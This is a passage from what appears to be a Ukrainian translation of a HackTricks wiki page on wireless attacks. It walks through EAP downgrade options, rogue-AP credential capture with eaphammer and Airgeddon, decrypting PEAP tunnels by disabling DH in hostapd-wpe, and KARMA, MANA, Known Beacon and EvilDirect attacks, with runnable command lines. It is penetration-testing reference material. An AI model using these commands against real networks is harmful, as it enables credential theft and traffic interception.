GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
Це стандартна методологія для уникнення тривалих часів підключення. Однак ви також можете вказати серверу методи автентифікації від найслабшого до найсильнішого:
--negotiate weakest
Або ви також можете використовувати:
--negotiate gtc-downgrade
для використання високоефективної реалізації GTC downgrade (паролі в чистому вигляді)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
для ручного зазначення запропонованих методів (пропонуючи ті ж методи автентифікації в тому ж порядку, що й організація, атака буде набагато важче виявити).- Знайдіть більше інформації у вікі
Використання Airgeddon
Airgeddon
може використовувати раніше згенеровані сертифікати для пропозиції EAP автентифікації для мереж WPA/WPA2-Enterprise. Фальшива мережа знизить протокол з'єднання до EAP-MD5, щоб вона могла захопити користувача та MD5 пароля. Пізніше зловмисник може спробувати зламати пароль.
Airgeddon
пропонує вам можливість безперервної атаки Evil Twin (гучної) або лише створити Evil Attack, поки хтось не підключиться (плавно).
Налагодження тунелів TLS PEAP та EAP-TTLS в атаках Evil Twins
Цей метод був протестований у з'єднанні PEAP, але оскільки я розшифровую довільний TLS тунель, це також повинно працювати з EAP-TTLS
У конфігурації hostapd-wpe закоментуйте рядок, що містить dh_file (з dh_file=/etc/hostapd-wpe/certs/dh
на #dh_file=/etc/hostapd-wpe/certs/dh
)
Це змусить hostapd-wpe
обмінюватися ключами за допомогою RSA замість DH, тому ви зможете розшифрувати трафік пізніше, знаючи приватний ключ серверів.
Тепер запустіть Evil Twin, використовуючи hostapd-wpe
з цією модифікованою конфігурацією, як зазвичай. Також запустіть wireshark
в інтерфейсі, який виконує атаку Evil Twin.
Тепер або пізніше (коли ви вже захопили деякі спроби автентифікації) ви можете додати приватний RSA ключ до wireshark у: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
Додайте новий запис і заповніть форму цими значеннями: IP адреса = будь-яка -- Порт = 0 -- Протокол = data -- Файл ключа (виберіть ваш файл ключа, щоб уникнути проблем, виберіть файл ключа без захисту паролем).
І подивіться на нову вкладку "Decrypted TLS":
KARMA, MANA, Loud MANA та атака на відомі маяки
Чорні/білі списки ESSID та MAC
Різні типи списків фільтрації доступу до медіа (MFACLs) та їх відповідні режими та ефекти на поведінку зловмисної точки доступу (AP):
- Список білих MAC-адрес:
- Зловмисна AP відповідатиме лише на запити проби від пристроїв, зазначених у білому списку, залишаючись невидимою для всіх інших, хто не вказаний.
- Список чорних MAC-адрес:
- Зловмисна AP ігноруватиме запити проби від пристроїв у чорному списку, ефективно роблячи зловмисну AP невидимою для цих конкретних пристроїв.
- Список білих SSID:
- Зловмисна AP відповідатиме на запити проби лише для конкретних ESSID, зазначених у списку, роблячи її невидимою для пристроїв, чиї списки переважних мереж (PNL) не містять цих ESSID.
- Список чорних SSID:
- Зловмисна AP не відповідатиме на запити проби для конкретних ESSID у чорному списку, роблячи її невидимою для пристроїв, які шукають ці конкретні мережі.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
Цей метод дозволяє зловмиснику створити шкідливу точку доступу (AP), яка відповідає на всі запити на сканування від пристроїв, що намагаються підключитися до мереж. Ця техніка обманює пристрої, змушуючи їх підключатися до AP зловмисника, імітуючи мережі, які пристрої шукають. Коли пристрій надсилає запит на підключення до цієї підробленої AP, воно завершує підключення, що призводить до помилкового підключення пристрою до мережі зловмисника.
MANA
Потім пристрої почали ігнорувати непрохані мережеві відповіді, зменшуючи ефективність початкової атаки karma. Однак новий метод, відомий як атака MANA, був представлений Іаном де Віллієрсом і Домініком Уайтом. Цей метод передбачає, що підроблена AP захоплює Списки Бажаних Мереж (PNL) з пристроїв, відповідаючи на їхні широкомовні запити на сканування з іменами мереж (SSID), які раніше запитувалися пристроями. Ця складна атака обминає захисти проти початкової атаки karma, експлуатуючи спосіб, яким пристрої запам'ятовують і пріоритизують відомі мережі.
Атака MANA працює, моніторячи як спрямовані, так і широкомовні запити на сканування з пристроїв. Для спрямованих запитів вона записує MAC-адресу пристрою та запитуване ім'я мережі, додаючи цю інформацію до списку. Коли отримується широкомовний запит, AP відповідає інформацією, що відповідає будь-якій з мереж у списку пристрою, спонукаючи пристрій підключитися до підробленої AP.
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Loud MANA
А Loud MANA атака є просунутим методом, коли пристрої не використовують направлене опитування або коли їхні списки уподобаних мереж (PNL) невідомі атакуючому. Вона працює на принципі, що пристрої в одній і тій же області, ймовірно, ділять деякі імена мереж у своїх PNL. Замість того, щоб відповідати вибірково, ця атака транслює відповіді на запити для кожного імені мережі (ESSID), знайденого в об'єднаних PNL усіх спостережуваних пристроїв. Цей широкий підхід збільшує ймовірність того, що пристрій розпізнає знайому мережу і спробує підключитися до підробленої точки доступу (AP).
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Known Beacon attack
Коли Loud MANA attack може бути недостатнім, Known Beacon attack пропонує інший підхід. Цей метод брутфорсить процес підключення, імітуючи AP, який відповідає на будь-яку назву мережі, перебираючи список потенційних ESSID, отриманих з словника. Це імітує наявність численних мереж, сподіваючись знайти ESSID у PNL жертви, що спонукає до спроби підключення до сфабрикованого AP. Атаку можна посилити, поєднавши її з опцією --loud
для більш агресивної спроби захоплення пристроїв.
Eaphammer реалізував цю атаку як MANA attack, де всі ESSID у списку заряджаються (ви також можете поєднати це з --loud
, щоб створити Loud MANA + Known beacons attack):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Відома атака Beacon Burst
Атака Відома атака Beacon Burst передбачає швидке транслювання кадрів маяків для кожного ESSID, зазначеного у файлі. Це створює щільне середовище фальшивих мереж, значно підвищуючи ймовірність підключення пристроїв до зловмисної AP, особливо в поєднанні з атакою MANA. Ця техніка використовує швидкість і обсяг, щоб перевантажити механізми вибору мережі пристроїв.
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct - це протокол, який дозволяє пристроям з'єднуватися безпосередньо один з одним за допомогою Wi-Fi без необхідності в традиційній бездротовій точці доступу. Ця можливість інтегрована в різні пристрої Інтернету речей (IoT), такі як принтери та телевізори, що полегшує безпосередню комунікацію між пристроями. Помітною особливістю Wi-Fi Direct є те, що один пристрій виконує роль точки доступу, відомої як власник групи, для управління з'єднанням.
Безпека для з'єднань Wi-Fi Direct забезпечується через Wi-Fi Protected Setup (WPS), який підтримує кілька методів для безпечного спарювання, включаючи:
- Push-Button Configuration (PBC)
- Введення PIN-коду
- Near-Field Communication (NFC)
Ці методи, особливо введення PIN-коду, піддаються тим самим вразливостям, що й WPS у традиційних Wi-Fi мережах, що робить їх мішенями для подібних векторів атак.
EvilDirect Hijacking
EvilDirect Hijacking - це атака, специфічна для Wi-Fi Direct. Вона відображає концепцію атаки Evil Twin, але націлюється на з'єднання Wi-Fi Direct. У цьому сценарії зловмисник видає себе за законного власника групи з метою обманути пристрої, щоб вони підключилися до шкідливого об'єкта. Цей метод можна виконати за допомогою інструментів, таких як airbase-ng
, вказавши канал, ESSID та MAC-адресу підробленого пристрою:
References
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
TODO: Ознайомтеся з https://github.com/wifiphisher/wifiphisher (вхід через facebook та імітація WPA в захоплених порталах)
Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та шукачами багів!
Hacking Insights
Залучайтеся до контенту, який занурює у захоплення та виклики хакерства
Real-Time Hack News
Слідкуйте за швидкоплинним світом хакерства через новини та інсайти в реальному часі
Latest Announcements
Будьте в курсі нових програм винагород за баги та важливих оновлень платформ
Приєднуйтесь до нас на Discord і почніть співпрацювати з провідними хакерами вже сьогодні!
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.